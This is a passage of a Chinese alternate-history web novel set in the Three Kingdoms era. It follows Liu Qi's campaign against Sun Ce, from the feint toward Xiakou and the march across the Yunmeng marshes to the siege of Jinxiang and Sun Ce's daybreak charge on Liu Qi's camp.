明面上,派王朗去章陵那接手四千郡兵,大张旗鼓地从随县沿涢水南下,号称万人大军,嚷嚷着要去解安陆之围。 实际上就是吸引黄盖和周瑜的注意力。 暗地里,刘琦亲率五千襄阳精锐,继续沿汉水南下,准备趁黄盖和周瑜被王朗吸引时,突袭夏口,断掉黄盖的退路。 同时还派快马去长沙,令黄忠率四千人马沿湘水北上,进洞庭湖后转入长江,设法阻拦孙策西进。 刘磐则带三千人留守,防备东吴的太史慈。 很快刘琦与诸葛亮等人计策定下。 先前还在汉水上半帆缓慢行进的船队,立即扯满风帆,桨橹齐动,速度陡然加快。 站在主船望楼上的刘琦,望着迅速向后掠去的江岸,心中却是七上八下。 这一招暗度陈仓,赌的就是周瑜会相信他刘琦还是那个被世家摆布的软弱公子。 此计若是其他人来,周瑜看都不用看,就知道是声东击西。 但偏偏主将是刘琦,因为刘琦长期以来软弱的名声,这就会让周瑜有一种错觉,那就是身为主将的刘琦在世家的干涉下,先行去救被黄盖攻打的岌岌可危的黄家。 “孔明,你说周瑜会信吗?”刘琦忍不住问道。 诸葛亮轻摇羽扇,目光深远:“周瑜多谋而谨慎,若是寻常之人,未必瞒得过他,但正因主公往日名声,此计反而多了几分可信,那些世家大族为保自身利益,逼主帅行昏招之事,古往今来数不胜数。” 刘琦点头,心中稍安。 与此同时,沙羡城内,周瑜的确收到了细作急报。 “刘琦派手下大将领兵从涢水南下?” 周瑜修长的手指轻轻敲击案几,眉头微蹙,“领军的是王朗,号称万人,打着解安陆之围的旗号?” 堂下一员偏将笑道:“都督,这必是疑兵之计!刘琦主力定然还在汉水上,他若是聪明,就该直扑夏口,断黄将军退路,何必绕远走涢水?” 周瑜沉吟片刻,却是摇头:“未必如此简单。” 周瑜站起身,踱步至悬挂的荆州地图前: “那刘琦虽得刘表任命为此战主将,但荆州世家盘根错节。” “而那安陆黄家是江夏大族,与蔡、蒯等家关系密切,那些世家老爷们为保自身利益,逼刘琦先救安陆,也不是不可能。” 周瑜站起身,踱步思索:“况且刘琦素有软弱之名,被世家挟制也在情理之中。” “那...我军该如何应对?”偏将问道。 周瑜手指无意识地摩挲着地图上安陆的位置心中暗忖。 黄盖他们执意攻打安陆,本就是意气用事。 安陆无险可守,无粮可图,打下又如何?不过是白白消耗兵力,我先前苦劝伯符,他却碍于老臣情面,不好强硬阻拦。如今刘琦这一动,倒是给了我调回黄盖的借口。 想到这里,周瑜嘴角微微上扬,随即正色道:“无论真假,不可不防,刘琦若真走涢水,黄将军后路堪忧。” 周瑜转身下令:“传令:将周边小城守军尽数撤回,加强沙羡防御,再派快马通知黄盖将军,命他即刻撤军回防夏口。” 周瑜指着涢水与汉水交汇处:“若刘琦真要从汉水南下偷袭,夏口是关键,只要守住夏口,黄将军的退路就无忧。” 顿了顿,周瑜又道:“还有,派人回江东,向仲谋请求增派两千水师,刘表不会坐视江夏丢失,大战还在后头。” 周瑜的命令迅速传达下去。 安陆城下,战事正酣。 为了快速攻下安陆城,黄盖赤膊上阵,亲自督战。 江东兵如潮水般一波波冲击城墙,云梯架起数次,但又被守军推倒。 “加把劲!今日必破此城!”黄盖怒吼道,手中长刀指向城头,“为老主公报仇!” 就在这紧要关头,一骑快马飞驰而至,马上骑士高喊:“黄将军!周都督急令!” 黄盖不耐烦地转头:“什么急令?没看见我正要破城吗?” 骑士递上令箭:“都督命将军即刻撤军,回防夏口!” “刘琦已从汉水南下,恐欲断我军退路!” “什么?” 黄盖眼睛瞪得滚圆,一把抓过令箭,看清上面周瑜的印信后,气得将头盔狠狠摔在地上, “眼看就要破城,此时撤军?老主公的仇不报了?” 副将连忙劝道:“将军息怒!” “周都督用兵如神,既发此令,必有深意。” “探马回报涢水上游王朗的章陵兵离咱们已不足百里,若真是刘琦声东击西之计,我军危矣!” 黄盖咬牙切齿,望着近在咫尺的安陆城墙,眼中几乎喷出火来。 半晌,黄盖猛地一跺脚:“撤!” 鸣金声响起江东军如潮水般退去。 黄盖临走前,命士兵放火烧了城外的粮囤,火光冲天,浓烟滚滚,仿佛是他怒火的宣泄。 三日后,刘琦船队抵达竟陵。 竟陵城位于汉水下游,距夏口仅一日多路程。 竟陵城池不大,但位置却很重要,因为再往前走就是数百里的乌林等地的大沼泽地,所以竟陵城是襄阳南下江夏的最后一座城池。 刘琦一到这里,立即以江夏太守的名义,传令江北尚未被孙策攻占的云社、南新、竟陵三县,命他们速派郡兵前来汇合。 不过两日时间,三县郡兵陆续赶到。 这些地方郡兵装备不齐,队列松散,但士气尚可。 于是刘琦亲自在校场上训话:“诸位将士!孙策狼子野心,侵我疆土,杀我同袍!今我奉州牧之命,总督江夏军事,必驱逐江东之敌,还我荆州太平!” 刘琦目光扫过场上一张张面孔,声音铿锵:“凡奋勇杀敌者,必重赏!立功者,升官晋爵,光宗耀祖!” 重赏之下必有勇夫,在刘琦的鼓舞下,三县郡兵对孙策的畏惧之色一扫而空。 “驱逐孙策!还我太平!”士兵们的呼喊声震天动地。 整编三县郡兵后,刘琦麾下的兵力达到八千余人,声势大振。 刘琦立即派陈武率千余人为先锋,急赴涢水口,企图抢占要地,截断黄盖退路。 然而第二天下午,探马就带回了坏消息:周瑜已有防备,夏口守军加强,黄盖正在迅速回撤。 刘琦的暗度陈仓偷袭计划已然失败。 更糟糕的是,这时黄忠的急报也到了——他率部抵达巴丘江段时,孙策船队已经通过,未能及时拦截。 孙策的目标,果然是江陵! “江陵要是丢了,那就麻烦了...” 刘琦站在竟陵城头,远眺南方那片茫茫的云梦泽,眉头紧锁。 春末时节,云梦泽水网密布,沼泽纵横,车马难行,若是汛期到来,倒可乘小船穿越,直抵公安,将孙策截住。可现在... 突然,刘琦眼睛一亮,猛地一拍城墙:“有了!” 于是刘琦连忙召集诸葛亮与徐庶过来。 很快诸葛亮和徐庶便赶来:“主公唤我们来有何事?” 刘琦指着云梦泽:“既然突袭夏口不成,那我们就从这里穿过去,去突袭孙策!” 闻言徐庶大惊:“主公三思!云梦泽乃绝地,沼泽遍布,粮草军械难以运输,极易迷路失陷!” 诸葛亮也劝:“虽然暗度陈仓之策失效,但周瑜兵少,我们可以强攻夏口也一样也可以截断孙策的后路,虽会有损失,但更为稳妥。” 刘琦却信心满满:“我有一物,可解运输难题。” 说着刘琦便当即下令士兵砍伐树木,按照记忆中雪橇的样子,制作简易拖撬。 当四个士兵轻松拉着装载粮草军械的拖撬,在沼泽边缘快速行走时,徐庶和诸葛亮都惊呆了。 “这、这东西竟如此好用!”徐庶围着拖撬转了好几圈,啧啧称奇。 第15章 云梦行舟围孙策,铁索横江断后路 刘琦没急着追孙策进津乡,倒不是怕了那江东小霸王——实在是手头兵不够用。 刘琦部队就五千襄阳兵以及三千江夏郡兵,和黄忠带来的长沙三千水师,而此时赶来的只有三千水师。 八千步卒主力还在后面岸边跟蜗牛似的挪,而刘琦已经收到情报了,刘表已经派遣蔡瑁领一万襄阳精锐南下支援江陵。 是以,刘琦决定先等蔡瑁到了之后再动手,既稳妥又能少死人。 是日,长江的晨雾尚未散尽,孙策的军队就龟缩在那里,像一头受伤的猛虎,虽然暂时蛰伏,却依然危险,为此刘琦在津乡城外搭建起一座营寨与城内的孙策隔空相望。 这会儿津乡城里,孙策正攥着长枪站在城头,也同样在打量着城外的刘琦营寨,希望能从中找出破绽,然后自己一举破之。 刘琦站在营寨的望楼上,目光穿过薄雾,落在远处那座小城上。 刘琦扶着望楼木栏杆,盯着那座缩在雾里的小城,嘴角忍不住往上翘——谁能想到,穿过云梦泽堵孙策这步险棋,居然真成了。 “主公!” 徐庶踩着木梯上来,手里还攥着斥候的汇报报,脸上带着笑,“咱们这一手断后路、围津乡,可是把江东小霸王困成笼中虎了!方才探马来报,孙策昨晚在城里骂了半宿,想来是急得没辙了!” 刘琦回头,语气里带着点自己都没察觉的欣喜: “我原先还怕云梦泽那边出岔子,或是孙策反应快逃了,没想到……这孙策还真让我们给逮住了!” “话是这么说,但孙策毕竟是孙策。” 徐庶往前凑了凑,目光落在津乡城头晃动的人影上: “按常理说,粮道没了、后路被截,城里早该军心大乱,甚至有人逃出来投降了。” “可咱们围了一天,除了几个斥候,连个逃兵影子都没见着,这很不正常呀!” 说完,徐庶皱了皱眉头想了想道:“要不,主公派些兵力试探一下?” “如何探之?” 刘琦有些好奇问道。 “主公可派遣千余兵卒,攻津乡西城门,看看城里到底是真稳住了,还是装出来的。” 这提议合情合理,古代打仗哪有围而不探的? 刘琦摸了摸下巴,心里也有点意动——要是能摸清孙策军心如何,后续打起来也能省不少事。 可没等刘琦开口,楼下传来脚步声,诸葛亮摇着羽扇上来了,刚站稳就听见后半句,立马道:“主公不可!” 刘琦和徐庶都转头看向诸葛亮,眼中皆是询问之意。 诸葛亮走到栏杆边,羽扇指了指津乡城:“主公、元直,可还记得西楚霸王之事?” “当年高祖围霸王与垓下,汉军唱尽楚歌,楚军军心涣散,然霸王携八百亲卫,犹能溃围而出,转战千里至乌江之畔——其困兽之勇,至今想来仍令人心悸。” 接着诸葛亮顿了一下,“今孙策虽非霸王,却素有‘江东小霸王’之称。” “其部曲皆从吴郡随其征战,历六郡之役,多是同生共死之锐卒,念旧恩、敢死战,较之当年楚卒,并无逊色。” “津乡虽小,然城堞未颓,濠沟尚在,若我等此刻轻举妄动,逼其行背水之举,纵仅余千人,孙策亦必率之搏命,届时我军纵能胜,亦需付惨重代价。” “如今蔡瑁大军旦夕便至——何必以有限之兵,冒无谓之险?” 刘琦听完,心里那点试探的念头立马没了。 他刚才光顾着想摸清情况,倒忘了“困兽之斗最凶”的理—— 依孙策那性子,真被逼急了说不定会亲自带人冲阵,千余人哪当得住? “孔明说得对。” 刘琦拍了拍徐庶的肩膀,“元直,你的心思没错,但现在确实不是时候。咱们再等两天,等蔡瑁来了,三面夹击,不愁孙策不垮。” 徐庶也反应过来,笑着点头:“是我急了,主公和孔明考虑得周全,确实该等兵力齐了再动手。” 而此时,津乡城内,孙策正焦躁地在城头上踱步。 其麾下的江东士兵们也正在加紧加固工事,但每个人的脸上都写满了不安。 “会不会是周都督已经被刘琦给击退了,才让刘琦能逆流而上......” 城墙上一名孙策军偏将,望着不断在给自己营寨加固的刘琦军,满脸忧虑地说出心中猜测。 “不可能!绝对不可能!” 孙策突然一拳捶在墙垛上,打断偏将的猜测: “公瑾绝不会误我!” “定然是这刘琦用了不知什么法子,度过了千里云梦泽!” 孙策思来想去,刘琦能出现在自己身后,出除了击退周瑜逆流而上外,就只有横渡千里云梦泽了。 这千里云梦泽虽然名字很好听,但知晓其中凶险的人却知道,这云梦泽就是一块吃人的绝地。 如今春末汛期将至,沼泽里的淤泥能没到腰,水面下藏着不知名的水草,连常年在江边讨生活的渔户都不敢往深处去,刘琦怎么敢带着大军穿过? 正因如此,孙策有些想不通,刘琦这小子在襄阳时就是个软柿子,被蔡瑁拿捏得死死的,怎么有胆子穿过云梦泽来截我的后路? 难道之前的传闻都是假的?还是说...这小子一直在藏拙? 为了搞清楚刘琦究竟是如何横渡云梦泽的,孙策便招了招手,让周泰过来。 随后,孙策便让周泰偷偷翻出城去,抓几个刘琦军士卒,好好盘问一下刘琦大军究竟是如何横渡云梦泽的。 很快周泰便找了一个时机翻出城外。 “报——” 一个斥候连滚带爬地跑上城头,打断了孙策巡视城墙的步伐。 “启禀主公,北边、北边来了大股人马!” “旗号打的是‘蔡’,看规模得有一万多,像是襄阳来的援军,已过当阳!” “什么?蔡瑁也来了?” 孙策闻言,瞬间攥紧手中长枪,指节捏得泛白。 脸色异常难看,之前孙策还有些纳闷,刘琦明明把津乡围了,却围而不攻,孙策还以为是刘琦怕了江东兵的悍勇,想等着自己粮尽而降。 如果刘琦真是这个打算,孙策还不怎么慌,毕竟他一路从沙羡打到江陵,途中也攻破不少城池,收拢了不少粮草,撑个十天半月不成问题。 可现在听了斥候的话,孙策才算彻底明白:刘琦哪里是怕了,分明是在等蔡瑁! 等蔡瑁的一万襄阳精锐到了,再前后夹击,把他活活围死在这津乡城里! 一股怒火“腾”地从孙策心底窜上来,烧得孙策太阳穴突突直跳。 他孙策征战江东六郡,什么时候被人这么算计过? 可怒火中烧的同时,又有股子不服输的豪气涌上来——他是江东小霸王,不是任人宰割的羔羊! “好、好一个刘琦!” 孙策咬着牙,拳头攥得指节泛白,突然仰头嚎笑一声,声音里带着股子狠劲,“想跟蔡瑁联手围歼我?他倒真把自己当盘菜了!” 旁边的偏将见状,连忙上前:“主公,蔡瑁大军一到,咱们就真成瓮中之鳖了,要不……咱们今晚就突围?” “突围?” 孙策转头看向偏将,眼神里满是桀骜, “晚上突围,倒显得我怕了他刘琦!” “那....那不突围,我就这样等?” 偏将听到孙策竟然不打算突围后,有些迟疑,以及畏惧的问道。 孙策走到城头边,望着岸边刘琦营寨,古锭刀在手里转了个圈。 “他刘琦能出其不意的出现在我身后,想必是自得不已,如今更是想等蔡瑁来,认定我已经是困兽,想必心中早已懈怠了。” “那我们也可以来一个出其不意,趁蔡瑁未到,率全军猛攻刘琦!” “明天一早,我将身先士卒,率全军攻打刘琦营寨!” “我倒要看看,这个被蔡瑁挤兑得跟丧家犬似的公子哥,到底有没有本事吃下我孙策!” 听完孙策的豪言之语后,偏将原本还满脸的惶恐急褪去大半,腰杆也不自觉挺直了些。 他跟着孙策打了五年仗,从吴郡打到豫章,再从豫章打到现在江陵,多少次身陷绝境,都是眼前孙策身先士卒领着他们杀出血路。 偏将心里头那点慌劲散了,连声音都亮堂起来:“主公说的是!咱们跟刘琦那软蛋拼了!有主公身先士卒,还怕冲不破他的营寨?” 孙策瞥了他一眼,嘴角勾起抹冷硬的笑,指节轻轻敲了敲腰间的古锭刀,心里头却自有盘算: 刘琦能堵到这儿,定然不是蠢人,夜里防备必严——他既知我是困兽,怎会不防我趁黑突围? 营寨四周多半埋了暗哨、设了绊马索,夜里冲阵,视线不明,反倒容易中了埋伏。 更要紧的是身后这些士卒——这两天被围在城里,粮草虽够,可士气早不如前,不少人夜里都在偷偷嘀咕。 若是夜里突围,黑灯瞎火的,谁能看清我在不在前面? 没了主心骨,一旦有什么动乱,立马就得乱。 可白天不一样,我提着刀冲在最前头,士卒们看得见我,知道我身先士卒,心里头才有底,才能跟着我拼命。 孙策抬手拍了拍偏将的肩,语气斩钉截铁:“去传令,让弟兄们今晚好生歇息,把刀枪磨利、甲胄穿好。” “明日天一亮,我亲自带队,先冲刘琦的前阵!我要让他看看,江东的兵,不是他想围就能围的!” 另一边的刘琦军正在加紧筑营。 士兵们挥汗如雨,挖壕沟、立栅栏,忙得热火朝天。 徐庶手持令旗,站在一处高地上指挥各部队划分防区:“前营步卒驻守在此,中军精锐向后移三百步,辎重营再往后!快!” 另一边,诸葛亮与刘琦站在江边,仔细观察着水流情况。 春末的长江水势湍急,波浪拍打着岸边,溅起朵朵浪花。 “汉升。” 刘琦把黄忠叫到身边,“你在长沙多年,熟悉水战。我要你在这一段江面拉起五道铁索,绝不能放孙策的水师逃走。” 黄忠看着湍急的江水,面露难色:“主公,这段江水湍急,铁索阻江难度极大啊...而且需要大量人力物力。” “难度再大也要做!” 刘琦语气坚决,“若因困难而不去做,让那孙策从此逃走,便如同是放虎归山,后患无穷。” “汉升需要多少人手,尽管从周围郡县调遣,事后我自会陈书向父亲解释。” 见刘琦这样说道,黄忠哪还敢再说什么,只能抱拳领命:“末将遵命!” 很快,三千长沙水师开始忙碌起来。 船只来回穿梭,士兵们喊着号子,将粗重的铁索固定在两岸的巨石上。 这活儿可不轻松,好几根铁索因为水流太急,刚放下就被冲走,试了好几次才成功。 “报——” 一骑快马飞驰而至,“蔡都督已过当阳,距江陵不足五十里,正在昼夜兼程赶来!” 刘琦和诸葛亮相视一笑:“来得正好!传令各营加强戒备,防止孙策狗急跳墙,出城突围。” 此时当阳的官道上,蔡瑁正率军疾驰。 马蹄扬起漫天尘土,一万襄阳精锐浩浩荡荡向南开进。 “报——” 一骑快马飞奔而至,“都督,刘琦公子率军穿过云梦泽,已抵津乡,截断了孙策后路!” 蔡瑁猛地勒住马,脸上先是震惊,随即露出狂喜之色:“好!好!刘琦这小子竟有这般胆略!竟敢横渡云梦泽截断孙策后路?” 但随即蔡瑁便意识到,孙策如今后路被截,前有江陵坚城,后有刘琦! “哈哈,黄元阳(黄祖)观山射猛虎,名传荆襄十余载,今日便是我蔡珪德扬名之时!” 蔡瑁一想到擒获孙策这名传天下的小霸王后就有些得意地挥鞭催马,催促着大军继续前进。 可蔡瑁跑了一段,他好像想起什么,于是随口问亲兵:“刘琦穿过云梦泽,损失不小吧?现在手头还有多少人马?还能将孙策的后路堵住吗?” 亲兵回道:“据探报,长公子损失不大,现在约有八千余人,加上黄忠的三千水师,总兵力过万。” 闻言蔡瑁脸色一僵,笑容顿时凝固:什么?刘琦穿过云梦泽居然没多大损失?这怎么可能? 他 这时,蔡瑁心中突然咯噔一下: 先前只是惊叹于刘琦胆略,敢冒死横渡千里云梦泽,不似是那个软弱的长公子。 如今却几乎毫发无损横渡? 有这胆略和谋略还是那个软弱无志,沉迷酒色的长公子吗? 想到这,蔡瑁还如何不知刘琦先前就是一直在藏拙。 如今刘琦这小子,外放江夏,有如此胆略和谋略,掌控江夏是迟早的事。 心中思绪不断的蔡瑁暗自心惊,但面上不动声色,“传令全军,加速前进!围歼孙策要紧!” 第16章 雾锁津乡·江东虎啸破樊笼! 次日黎明,津乡城外雾气弥漫。 孙策军突然大开城门,五千余江东步卒快速从大开的城门鱼贯而出,三千水师也从水门驶出,准备沿着专门的河道驶入长江。 孙策披重甲,手持古锭刀,立于阵前。 晨光中,孙策的身影显得格外高大威猛。 “弟兄们!“孙策的声音在晨雾中回荡,“蔡瑁援军将至,我等已无退路!今日突破刘琦营寨,杀出血路者,赏千金、封校尉!“ 江东兵队伍中,一个叫阿福的小兵紧张地握着断了刃的环首刀。 他是今年孙策攻取豫章郡后加入孙策的,是以啊福对于当前的困境,沮丧不已,要不是身边多数都是江东老卒,对孙策有了一种盲目的信任。 认为不管局势再如何崩坏,有孙策将军的带领他们也能扭转局势,啊福早就逃跑了。 这时他旁边的一名伍长的江东老卒似乎是看出啊福心中的慌张,于是帮啊福紧了紧甲胄,低声说:“别怕,跟着将军冲就是了!将军带着咱们从吴郡打到江夏,什么时候败过?” 雾气中传来震天的呐喊声,孙策一马当先,率八百亲兵直冲刘琦军前营。 城墙之下,刘琦军的营寨依水而建,分设三营,分别为前营、中军、后营错落有致。 前营驻扎着三千县郡兵,多是云社、竟陵三县的江夏郡兵。 而中军则是刘琦亲自率领的五千襄阳精兵,装备精良,训练有素。 后营毗邻水道,不仅驻扎着黄忠率领的三千长沙水师,还设有望楼和粮仓。 整个营寨布局严谨,可见布置者徐庶的用心。 然而连日来的对峙已让刘琦军将士们放松了警惕。 谁都不曾想到,被围困月余的孙策军竟会选择在此时突围,更不曾想到会选择在白日行动。 是以,此时的刘琦军前营的哨兵正抱着长枪打盹。 这时漫天白雾里,突然传出一阵阵的马蹄踏地的闷响,穿透雾层,传入哨兵耳中,让哨兵从瞌睡中惊醒。 哨兵抬眼望去,只见无数江东士卒从白雾中冲出,而为首的正是一马当先的孙策,见此,哨兵正欲吹响警勺,却在眨眼睛便被孙策一箭封侯。 不得不说,孙策的军事眼光独特,徐庶在营前布置下不知多少暗哨明哨,却被孙策趁着雾气遮挡间一个个处理掉了。 等被人发现时,孙策已经杀至刘琦军前军营前了。 「呜——呜——」 一阵阵低沉的号角声从刘琦军前营中响起。 已经行知刘琦军营前了,孙策的潜行来个出其不意的效果已经达到了。 孙策看着己方士卒顶着稀疏的箭雨,将碍壕沟拒马等扫除,随后架起长梯越过营寨将刘琦军前营的大门打开后,孙策一挥手中杆丈二长枪。 “杀!” 孙策大喝一声,声如洪钟,紧接着,孙策一马当先冲向刘琦军前营,八百亲兵自然是紧随主将冲锋。 营内刘琦军士卒这才被惊醒,慌乱中有的连衣甲都来不及穿戴整齐。 几个哨兵惊慌失措地敲响警锣,却被孙策张弓搭箭,连发三矢,应声而倒。 “踏阵!破营!” 孙策一指长枪高呼。 随后纵马往营里面而去,右手长枪舞动间,鲜血飞溅,接连挑飞数名仓促迎战的刘琦军士卒。 左手古锭刀随即出鞘,寒光闪过,一颗人头冲天而起,鲜血如喷泉般涌出。 在孙策有意识的驱赶攻杀下,混乱在刘琦军前营逐渐蔓延,从由营寨大门处,慢慢向全营蔓延。 “孙策来了!孙策来了!”惊恐的呼喊声在营中回荡。 孙策身后的江东兵自然是沿着孙策攻杀出的口子如潮水般涌入营寨,一时间营寨内喊杀声震天动地。 孙策左冲右突,专挑那些正在组织抵抗的刘琦军军官厮杀。 古锭刀再次挥出,一名正在集结士卒的屯长人头落地,无头尸体兀自立了片刻,才轰然倒下。 “不要乱!结阵!结阵!” 一处陷入混乱中的刘琦军,似乎是一名军侯站出来大声呼喊,试图组织起防线。 孙策闻声望去,策马直冲而去,长枪如龙,直刺其咽喉。 那军侯试图举刀格挡,但却被孙策震开兵器,一枪穿喉而过。 枪尖从后颈穿出,带出一蓬血雾。 孙策随即挥舞古锭刀,县郡兵纷纷惧怕地连连后退,刘琦军前营逐渐开始溃散。 前营被孙策突袭,厮杀之声响彻天地,位于后方中军营内的刘琦自然是被这声响给惊醒。 于是,刘琦一边在随从的帮助下,穿戴好甲胄,一边往望楼而去。 “不好!” 刘琦在望楼上看得清楚,“溃兵往中军冲来了,要坏大事!” 徐庶作为军中参谋自然是对前营溃败而感到几分急切:“主公,前营已溃,溃兵正往中军而来,若让孙策趁势驱赶冲击中军,则我军危矣!” 刘琦极目远望,但见孙策如入无人之境,所到之处血肉横飞。 手中长枪每次挥动都带起一片血雨,长枪每刺必取一命。 那些仓促组织起来的抵抗,在孙策带着亲兵的猛攻下如冰雪消融。 如此危急关头,唯有以同等武将对上孙策,将其按住才能止住前营溃散之势。 想到这,刘琦扭头向审核喊道: “魏文长!即刻率你部精锐,务必给挡住孙策!” 魏延随即抱拳领命,眼中闪过战意:“属下必不辱命!” 说完,魏延立即率五百精锐冲出中军营寨迎上正往这而来的孙策。 魏延部下这些士卒皆披重甲,手持大盾长刀,迅速在前方组成盾阵。 “孙策小儿,我魏文长在此,休得猖狂!”魏延大喝一声,长柄大刀直取孙策。 孙策冷笑一声,扬起手中长枪一指魏延:“区区裨将,也敢拦我?” 回答孙策的只有魏延手中大刀。 二人相击,火花四溅。 魏延臂力惊人,硬生生接住孙策全力一击,竟半步未退。 孙策眼中闪过诧异,随即更加狂猛进攻。 趁着魏延被自己长枪压着瞬间,左手快速拔出腰间古锭刀化作一道道银光,向魏延周身要害袭去。 而魏延早已看见过孙策会使用腰间古锭刀为杀招,所以魏延沉稳应对,大刀舞得密不透风,每每在关键时刻格开致命一击。 孙策眼中闪过一丝讶异,他没想到刘琦军中竟有如此猛将,竟能硬接自己数击而不退。 “好个魏文长!” 孙策大喝一声,手中长枪如蛟龙出海,连连刺出,“倒是有几分本事!” 魏延不答,只是全力招架。 魏延心知自己武功或许不及孙策,但只要拖住这江东猛虎,便是大功一件。 于是手中的大刀舞得更加密不透风。 而有了魏延将孙策这个矛头挡住,刘琦想阻止前营溃散之势就简单多了。 就在二人酣战之际,徐庶已然调动中军精锐向前推进。 襄阳精兵步伐整齐,长矛如林,盾牌如墙,一步步压迫着江东军的活动空间。 同时频发号角声变换节奏,指挥溃散的县郡兵向两翼疏散,避免冲乱中军阵型。 徐庶站在望楼上接连下达军令,身后的鼓点或军号频频变动,如臂指挥般指挥着襄阳营锐士。 而先一步接敌的便是双方的箭矢,箭矢如雨点般落下,瞬间一片江东兵或襄阳锐士被射倒。 孙策虽与魏延激战正酣,却时刻关注着战场局势。 孙策见襄阳精兵已然列阵推进,心中暗叫不好。 若是被敌军稳住阵脚,自己这支孤军深入的部队必将陷入重围。 “周泰!” 于是孙策大喝一声,“你即刻率亲兵向左翼突击,绝不可让敌军成阵!” 周泰得令,立即带领二百亲兵向左翼猛冲。 这些亲兵皆是随孙策征战多年的老兵,作战勇猛,配合默契。 一时间,左翼的襄阳兵被冲得阵脚微乱。 然而徐庶早已料到孙策会寻机破阵,立即令旗一挥。 中军后排的弓弩手顿时箭如雨下,密集的箭矢射向周泰所部。 孙策十余名亲兵应声倒地,周泰本人也肩头中箭,但却被周泰一把拔掉,随后如无事人般继续冲杀。 “主公,如此下去不是办法!” 徐盛冲到孙策身边,一边格开魏延的大刀,一边急声道,“敌军已渐成合围之势,不如暂退再寻良机?” 徐盛乃柴桑守将,官职别部司马,此次孙策进攻江夏,自然是将柴桑兵力也一同调集,而在江夏会战中徐盛因在战场上勇武过人,连杀江夏士卒十余人。 于是徐盛便被孙策给调入自己亲兵中,任周泰副手,而如今周泰不在,徐盛自然是接替周泰之职。 比如说,要考虑主将的安危。 闻言孙策何尝不知形势危急,但他更清楚,此时若退,军心必溃。 于是孙策咬紧牙关,长枪猛然刺向魏延:“今日有进无退!唯有击溃刘琦中军,方能有一线生机!” 说罢,孙策突然发力,长枪如狂风暴雨般攻向魏延。 这一轮猛攻出乎魏延意料,险些被长枪刺中咽喉,魏延被迫连连后退。 趁此间隙,孙策猛地调转马头,给徐盛丢下一句,“此裨将交予你了!” 说完孙策竟直冲向刘琦中军大旗所在:“江东儿郎,随我斩将夺旗!” 孙策这一冲出乎所有人意料。 谁也没想到,在与魏延酣战之际,孙策竟会突然改变目标,直取中军核心。 “保护主公!”徐盛急令亲兵上前跟随。 “你还是当心你自己吧!” 魏延一个力劈华山。 徐盛惊觉刀风袭来,急忙举刀格挡。 顿时徐盛虎口震裂鲜血淋漓,徐盛冷汗涔涔,再不敢分心。 孙策不愧是有江东小霸王之称,甩开魏延这个对手后,冲入双方混战中,如同如鱼得水般。 有了孙策已经数百亲兵的加入,先前还焦灼的战局,瞬间出现了变动,只见孙策如同一把尖刀,一层一层的划开襄阳锐士的防线。 此时的孙策距离中军大旗仅百余步。 站在望楼上的刘琦都能看清楚孙策脸上的表情了,手心不禁渗出冷汗。 刘琦没想到孙策如此悍勇,在如此劣势下竟还能发起如此猛烈的突击。 就连一向稳坐望楼调度大军的徐庶此时都有些惊呼。 这小霸王非人呼,别人都是越战越疲惫,而孙策此时却越战越勇。 孙策随后凭借自己的勇武和紧随身旁的亲兵舍生忘死的猛扑下,竟硬生生在襄阳精兵组成的盾阵上撕开了一道口子! 孙策看也不看身旁倒下的敌军与亲兵,眼中只有那望楼上飘扬的“刘”字大纛和旗下那个略显文弱却指挥若定的身影——刘琦! 孙策染血的长枪直指刘琦所在的望楼,“刘琦小儿!纳命来!”孙策咆哮如雷。 手中长枪挥洒间血光迸溅,竟被他连人带马又向前突进了十余步! 距离望楼已不足五十步!这个距离,对于孙策这等猛将而言,已是瞬息可至! 望楼上刘琦的亲兵们都攥紧了刀,呼吸都不敢重 “主公!危险!”刘琦身边的护卫统领陈武大惊失色,一个箭步挡在刘琦身前,声音急切几乎变调,“孙策骁勇,非人力可敌!请主公速退!暂避其锋!” 说着,陈武便要挥手令亲卫簇拥刘琦下望楼。 “不准退!” 刘琦猛的一挥手臂,声音不大,却带着前所未有的决绝和威严,竟让陈武的动作瞬间僵住。 此刻的刘琦,面色虽因紧张而微微发白,但眼神却异常明亮和坚定,刘琦死死盯着楼下那个如猛虎般冲杀的身影,语速极快却清晰无比: “我乃一军主帅,系三军之胆!此刻强敌已杀至眼前,全军将士皆在看着我这面旗帜!” “若我现在后退一步,大纛一动,军心必然动摇溃散!” “而孙策不顾危险也要身先士卒踏阵,想要的就是这个效果!” “届时孙策便可趁势一举突破,驱赶我军溃兵反冲中军乃至后军,届时兵败如山倒,才是真正万劫不复!” 刘琦深吸一口气压下心中恐惧,斩钉截铁道:“今日,我与将士们同在!再敢言退后者,斩!” 第17章大纛前移!折孙策之锐气! 一旁的徐庶,在陈武开口劝退时,眉头就已紧锁,嘴唇微动正要出言反对——他深知兵法,更明白此时主帅一动,带来的将是灾难性的连锁反应。 但让徐庶没想到,根本无需自己进言,这位他一直以为仅是“宽厚仁弱”的荆州长公子,竟有如此见识和胆魄! 徐庶看向刘琦那坚定甚至带着一丝决然的侧脸,心中瞬间涌起一股难以言喻的激赏和惊叹! 徐庶原本投效刘琦,多少是看中其汉室宗亲的身份和抗衡蔡氏的立场,对其能力并未抱有极高期望,尤其临阵决断方面,更以为其会优柔寡断或畏惧风险。 却万万没想到,在此千钧一发、生死攸关之际,刘琦竟能如此清晰地看透战场要害,展现出远超其平日名声的刚毅和果决! 刘琦作为后世之人,不说饱读史书,但对历史上那些耳熟目祥的事迹却也是多有了解的。 是以,刘琦岂能不知孙策的意图?孙策兵力处于劣势,之所以敢白日突围,行险一搏,绝非仅仅为了逃命。 更多的是想以雷霆万钧之势,直捣黄龙,打掉刘琦的指挥中枢! 而一旦刘琦中军动摇溃败,孙策便可趁势一路追击掩杀,不给刘琦任何重新组织、稳固防线的机会。 这就像李世民的雀鼠谷之战,在击退宋金刚后不给宋金刚从新组织起士卒的机会,一日连战八场,直至将宋金刚击溃。 孙策自然是不知后世的李世民,但这“溃其一点,破其全局”的兵法精髓是相通的。 孙策就是要用摎这颗“主帅”的人头,来彻底击垮荆州军的斗志,从而完成一场以弱胜强的经典逆袭! “主公所言极是!”徐庶立即开口,声音沉稳有力,既是赞同刘琦,也是安定周围有些慌乱的军吏之心。 “主帅不动,则军心如山!孙策已是强弩之末,其锐气尽在此一冲!文长正在奋力阻击。” “主公可令黄汉升率其部,弃船侧击孙策军侧翼,如此一来,孙策虽身先士卒视我军士卒如无物,但只要汉升能侧击其侧翼,将孙策军拦腰斩断,这孙策便成了请君入瓮” 就在徐庶说完,刘琦正欲下达军令时。 “杀!直取江东军侧翼!” 